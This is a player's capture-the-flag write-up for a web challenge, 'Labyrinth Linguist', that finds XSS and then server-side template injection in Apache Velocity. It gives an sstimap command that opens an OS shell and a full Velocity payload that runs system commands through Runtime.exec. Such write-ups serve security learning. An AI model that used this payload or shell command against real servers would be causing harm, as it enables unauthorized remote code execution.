Labyrinth Linguist
Personal Rating: Medium
We got some sort of translation page for alien language
Wappalyzer detected php
The text is sent via POST request and the shown result is the same text in a different font, which is determined in the style.css
This works, so the website is XSS vulnerable
<script>alert("test")</script>
I tried to inject special chars, but only % returns the example text and < returns nothing. It does not look like its vulnerable to a simple SQL or OS cmd injection
In the server files we can see that the server uses Springboot and Velocity. The following command worked to get an os shell via Velocity SSTI:
python3 sstimap.py -c 5 -d 'text=*' -u http://94.237.62.252:55121/ --os-shell
I inspected the payload that the tools sent with wireshark to find out what the payload looked like.
After some searching, I found this resource: https://iwconnect.com/apache-velocity-server-side-template-injection/
The payload mentioned here, edited for Linux, worked to list the root folder:
#set($s="")
#set($stringClass=$s.getClass())
#set($stringBuilderClass=$stringClass.forName("java.lang.StringBuilder"))
#set($inputStreamClass=$stringClass.forName("java.io.InputStream"))
#set($readerClass=$stringClass.forName("java.io.Reader"))
#set($inputStreamReaderClass=$stringClass.forName("java.io.InputStreamReader"))
#set($bufferedReaderClass=$stringClass.forName("java.io.BufferedReader"))
#set($collectorsClass=$stringClass.forName("java.util.stream.Collectors"))
#set($systemClass=$stringClass.forName("java.lang.System"))
#set($stringBuilderConstructor=$stringBuilderClass.getConstructor())
#set($inputStreamReaderConstructor=$inputStreamReaderClass.getConstructor($inputStreamClass))
#set($bufferedReaderConstructor=$bufferedReaderClass.getConstructor($readerClass))
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("ls /"))
#set($null=$process.waitFor() )
#set($inputStream=$process.getInputStream())
#set($inputStreamReader=$inputStreamReaderConstructor.newInstance($inputStream))
#set($bufferedReader=$bufferedReaderConstructor.newInstance($inputStreamReader))
#set($stringBuilder=$stringBuilderConstructor.newInstance())
#set($output=$bufferedReader.lines().collect($collectorsClass.joining($systemClass.lineSeparator())))
$outputI used CyberChef to fully URL encode it and then send it at http://?text=<payload>
Last updated